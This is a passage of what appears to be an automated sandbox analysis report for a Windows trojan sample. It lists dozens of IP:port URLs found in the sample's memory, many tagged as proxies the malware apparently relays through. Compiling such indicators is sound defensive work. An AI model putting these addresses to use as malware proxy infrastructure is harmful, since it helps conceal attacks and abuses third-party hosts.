Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:81
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:81://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:82
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:82://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8828
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8828://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:9990
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:9990://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:9999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:9999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.20.56.203:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.20.56.203:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.219.10.150:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.219.10.150:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.24.80.53:3829
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.24.80.53:3829://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.241.128.44:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.241.128.44:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.241.135.30:7777
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.241.135.30:7777://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.251.103.186:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.251.103.186:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7887000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C783A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.4.242.216:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C790E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.4.242.216:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.101
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.101://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.101:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.103
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.103://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.103:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.35
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.35://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.35:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.99
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.99://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.114.99:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.142.46:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.142.46:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA61A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.201.92:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.54.201.92:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.92.172:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.92.172:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.93.170:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.93.170:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.93.181:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.93.181:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.93.189:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.93.189:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C696E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.93.1:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.57.93.1:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.58.245.66:61393
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.58.245.66:61393://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.190.218:41122
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.190.218:41122://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.190.52:41122
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.190.52:41122://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.232.223:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.232.223:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F14000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.233.44:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.233.44:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.236.133:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.236.133:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.236.73:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.236.73:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.237.183:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.69.237.183:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.7.131.208:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.7.131.208:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD37000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.7.201.174:15202
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.7.201.174:15202://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.48.53:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.48.53:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB2A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.49.155:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.49.155:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.49.56:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.49.56:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.163.120.181:58837
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.163.120.181:58837://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.163.13.200:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.163.13.200:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.172.239.231:8180
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.172.239.231:8180://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.173.230.19:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.173.230.19:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.173.242.189:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.173.242.189:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.174.209.124:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.174.209.124:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.67.170.
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.67.170.121:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.67.170.121:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C771A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.67.216.94:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.67.216.94:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.67.220.225:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.67.220.225:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.67.223.4:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.67.223.4:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.71.99.233:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.71.99.233:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.91.175.146:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.91.175.146:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.99.108.4:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.99.108.4:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7ED8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.99.96.170:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.99.96.170:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.15.90.78:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.15.90.78:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9237000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.145.147:45326
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.145.147:45326://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.149.147:5020
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.149.147:5020://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.149.24:5020
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.149.24:5020://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.152.30:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.152.30:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C921B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.202.6.231:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.202.6.231:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.237.43.106
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.237.43.106://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.237.43.106:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.28.60.64:8090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.28.60.64:8090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.40.82.210:35805
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8D95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.40.82.210:35805://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.42.110.113:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.42.110.113:4145://proxy
